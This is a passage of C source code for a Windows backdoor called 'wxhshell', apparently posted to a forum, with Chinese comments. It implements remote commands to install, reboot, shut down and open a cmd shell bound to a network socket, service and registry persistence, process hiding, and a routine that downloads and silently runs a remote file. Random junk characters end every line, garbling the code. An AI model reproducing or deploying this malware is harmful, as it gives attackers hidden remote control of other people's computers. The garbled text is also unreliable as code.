  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "0m\y+%8  
  } :czUOZ_  
  else { 0}9  
"ZP)[ [Rd  
    switch(cmd[0]) { >6:UWvV1  
  UcWf O!}D  
  // 帮助 o,!W,sx_  
  case '?': { Q|7;Zsd:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $KPf[JvQ  
    break; nG7E j#1  
  } Cf.(/5X  
  // 安装 YLp#z8 1e  
  case 'i': { ggUw4w/e  
    if(Install()) ~vKDB$2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-VXp80J  
    else gW^0A)5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {cmV{ 4Yx  
    break; `gdk,L]  
    } s[%@3bY!7  
  // 卸载 :8Ugz~i  
  case 'r': { UQq Qim  
    if(Uninstall()) R]NCD*~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1uOp5_]B  
    else })C}'!+]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <AB({(  
    break; .2SD)<}(9  
    } v(l:N@L  
  // 显示 wxhshell 所在路径 J )UCy;Y  
  case 'p': { vY]7oX+  
    char svExeFile[MAX_PATH]; \iAs  
    strcpy(svExeFile,"\n\r"); %)=c#H1  
      strcat(svExeFile,ExeFile); VujIKc#4  
        send(wsh,svExeFile,strlen(svExeFile),0); yK w.69.  
    break; e84O 6K6o  
    } G`z=qaj  
  // 重启 uM2 .?>`X  
  case 'b': { !DXK\,;>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +krDmU9(  
    if(Boot(REBOOT)) IhXP~C6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `FmRoMW9+  
    else { :)kWQQ+,  
    closesocket(wsh); BCt>P?,UO  
    ExitThread(0); RH "EO4  
    } .:iO$wjp5  
    break; ?, cI!c`  
    } 34t[]v|LD  
  // 关机 u=ZZ;%Rvd  
  case 'd': { URMxCL^"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gy!bPVe  
    if(Boot(SHUTDOWN)) Y"E*#1/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uk)D2.eS,  
    else { h`:B8+k  
    closesocket(wsh); G,XUMZ  
    ExitThread(0); Fr1OzS^&(  
    } .}3K9.hkr  
    break; }PzHtA,V  
    } EkEQFd 5g  
  // 获取shell `,Y/!(:;  
  case 's': { @"0n8y  
    CmdShell(wsh); e.]k4K  
    closesocket(wsh); PB!*&T'!  
    ExitThread(0); o_PQ]1  
    break; :{~TG]4M  
  } A<{&?_U  
  // 退出 L!^^3vn  
  case 'x': { 3'[ g2JR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Z%pdqo`.  
    CloseIt(wsh); s^GE>rf  
    break; 3| 0OW Jk  
    } }Pj;9ivz  
  // 离开 [\.@,Y0j  
  case 'q': { }?[a>.]u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o<!tN OH  
    closesocket(wsh); #LfoG?k1K  
    WSACleanup(); J;Veza  
    exit(1); !p(N DQm  
    break; 9^^:Y3j  
        } {@>6E8)H5  
  } |\SwZTr  
  } YfVZ59l4y6  
?V4bz2#!1O  
  // 提示信息 -h{|u{t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jU=n\o=?  
} P#qQde/y  
  } <xr\1VjA  
P30|TU+B  
  return; i>z {QE  
} _r vO#h  
9v(k<('_  
// shell模块句柄 "[\),7&03  
int CmdShell(SOCKET sock) U].3vju`c  
{ 7/6%92T/B  
STARTUPINFO si; Ll0"<G2t  
ZeroMemory(&si,sizeof(si)); HMVyXulU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Z8DVTpX}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?=%#lZ &?  
PROCESS_INFORMATION ProcessInfo; wak'L5GQE  
char cmdline[]="cmd"; *[b22a4H(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aYcc2N%C  
  return 0; Oq*=oz^~1  
} @;h$!w<  
bSS=<G9  
// 自身启动模式 _W gpk 0  
int StartFromService(void) lIgAc!q(  
{ UGK,+FN  
typedef struct 4'`y5E  
{ .?*TU~S  
  DWORD ExitStatus; = K3NKPUI  
  DWORD PebBaseAddress; n_Bi HMIU'  
  DWORD AffinityMask; !r`/vQ #  
  DWORD BasePriority; vJ0Zv> n-  
  ULONG UniqueProcessId; s)j3+@:#  
  ULONG InheritedFromUniqueProcessId; pEX|zee  
}   PROCESS_BASIC_INFORMATION; i=X B0-  
s!WI:E7  
PROCNTQSIP NtQueryInformationProcess; {=<m^ 5b9  
)9z3T>QW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =JfSg'7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eg 8rgiU  
1eMz"@ Q9  
  HANDLE             hProcess; C !6d`|  
  PROCESS_BASIC_INFORMATION pbi; G~KYFNHr  
d2 (3 ,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c,_??8  
  if(NULL == hInst ) return 0; .fD%*-  
R>dd#`r"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Iwxt3K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^>m"j6`h,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,'>O#kD  
HAc1w]{(  
  if (!NtQueryInformationProcess) return 0; \cW9"e'  
QBL|n+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (V9 ;  
  if(!hProcess) return 0; D=:O ^<  
y]b &3&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0. mS^g,M-  
.l +yK-BZ  
  CloseHandle(hProcess); [LDY;k~5+  
c!dc`R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :FX|9h  
if(hProcess==NULL) return 0; ;T*o RS  
-&JQdrs  
HMODULE hMod; D'<'"kUd  
char procName[255]; V3c7F4\  
unsigned long cbNeeded; W?X3 :1c9:  
!?5YXI,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oxXCf%!  
#8@o%%F d  
  CloseHandle(hProcess); E8"$vl&c]  
XN}^:j_2  
if(strstr(procName,"services")) return 1; // 以服务启动 3V%ts7:a  
<P.'r,"[  
  return 0; // 注册表启动 (Fs{~4T  
} s"B+),Jod  
")@#B=8+3^  
// 主模块 M<'He.n  
int StartWxhshell(LPSTR lpCmdLine) !Z<=PdI1Ys  
{ _(F8}s  
  SOCKET wsl; ]8CgHT[^7  
BOOL val=TRUE; P$5K[Y4f  
  int port=0; QJ2D C  
  struct sockaddr_in door; DIF-%X5  
tR(nD UHV5  
  if(wscfg.ws_autoins) Install(); #Fz/}lO  
Cf>(,rt};  
port=atoi(lpCmdLine); #*X\pjZ  
bW^C30m  
if(port<=0) port=wscfg.ws_port; .FC|~Z1T<F  
K/M2L&C  
  WSADATA data; CaR-Yk   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9J$-E4G.M  
2]=`^rC*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bX>R9i$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iTVZo?lVo  
  door.sin_family = AF_INET; YO9;NA{sH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZlP+t>  
  door.sin_port = htons(port); U=PTn(2  
5GbC}y>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \3`r/,wY  
closesocket(wsl); 8QMib3p  
return 1; qHn X)  
} es<8"CcP  
@Gt.J*!s/  
  if(listen(wsl,2) == INVALID_SOCKET) { ih-J{1  
closesocket(wsl); H$.K   
return 1; 0o!mlaU#  
} 3S" /l  
  Wxhshell(wsl); <Xw\:5 F<7  
  WSACleanup(); FLX n%/  
F^81?F i.  
return 0; nc6PSj X  
RFoCM^  
} EjMVlZC>  
G.`},c;A-  
// 以NT服务方式启动 voQJ!h1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -V-I&sO<  
{ Ec@cW6g(%  
DWORD   status = 0; FzNj':D  
  DWORD   specificError = 0xfffffff; W^)mz,%x  
IqiU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 05g %5vHF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @dx 8{oQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %z=:P{0UQ  
  serviceStatus.dwWin32ExitCode     = 0; Wf^ sl  
  serviceStatus.dwServiceSpecificExitCode = 0; t+_\^Oa)  
  serviceStatus.dwCheckPoint       = 0; )K$YL='kX  
  serviceStatus.dwWaitHint       = 0; '~ H`Ffd.  
DQ30\b"gU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Va?i#<a  
  if (hServiceStatusHandle==0) return; 8d_J9Ho  
UI"UBZZ$  
status = GetLastError(); _QEw=*.<  
  if (status!=NO_ERROR) "{\xBX~oM  
{ (~o"*1fk>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P;o  {t  
    serviceStatus.dwCheckPoint       = 0; x;<0Gg~jB  
    serviceStatus.dwWaitHint       = 0; 4\5i}MIS0  
    serviceStatus.dwWin32ExitCode     = status; Z,O* p,Gzn  
    serviceStatus.dwServiceSpecificExitCode = specificError; H(gY =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )z\#  
    return; 2x9.>nwhb  
  } l5.k2{'  
T A0(U$ 4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y*ZA{  
  serviceStatus.dwCheckPoint       = 0; K4jHha  
  serviceStatus.dwWaitHint       = 0; 1G7l+6w5~^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e5 L_<V^Jo  
} DH%PkGn  
`FQ]ad Fz  
// 处理NT服务事件,比如:启动、停止 oKsArZG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2|=hF9  
{ ch :rAx  
switch(fdwControl) u*): D~A  
{ kl]MP}wc  
case SERVICE_CONTROL_STOP: )v_v 7 ~H&  
  serviceStatus.dwWin32ExitCode = 0; Jw8?o/1D@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f)j*P<V  
  serviceStatus.dwCheckPoint   = 0; g(9*!g  
  serviceStatus.dwWaitHint     = 0; [K$5 Rm5  
  { IHdA2d?.]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qv5 fK  
  } @;`'s  
  return; oe]* Q  
case SERVICE_CONTROL_PAUSE: 'E9{qPLk(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wpuK?fP  
  break; \OtreYi  
case SERVICE_CONTROL_CONTINUE: F5RL+rU(h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d}zh.O5P!  
  break; Jh0Grq  
case SERVICE_CONTROL_INTERROGATE: mf$YsvPq*+  
  break; #WSqh +  
}; PVp>L*|BZ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Or.u*!od&  
} Z::I3 Q  
:>{!%-1Z  
// 标准应用程序主函数 #| _VN %!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zP%s]>hH  
{ sFz0:SqhE  
wQUl!s7M;  
// 获取操作系统版本 < ,0D|O ,Y  
OsIsNt=GetOsVer(); %rG4X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vvv'!\'#  
d<7b<f"~  
  // 从命令行安装 Kh\ 7%>K#  
  if(strpbrk(lpCmdLine,"iI")) Install(); L? DlR hu  
B223W_0"o  
  // 下载执行文件 @@H_3!B%4v  
if(wscfg.ws_downexe) { K 77iv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c%/b*nQ(=  
  WinExec(wscfg.ws_filenam,SW_HIDE); P-Y_$Nv0g  
} *^|\#UIk  
YUEyGhkMV{  
if(!OsIsNt) { oYkd%N9P  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pj <U|\-?  
HideProc(); c EYHB1*cT  
StartWxhshell(lpCmdLine); hU""YP ~y  
} # -luE  
else 5q0L<GOrj  
  if(StartFromService()) ML905n u  
  // 以服务方式启动 <3{MS],<<  
  StartServiceCtrlDispatcher(DispatchTable); 6i[Ts0H%<!  
else losqc *|  
  // 普通方式启动 pz /[ ${X  
  StartWxhshell(lpCmdLine); a ~v$ bNu  
89LD:+p/  
return 0; {oqbV#/&  
}
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只看该作者 1 发表于: 2006-10-10
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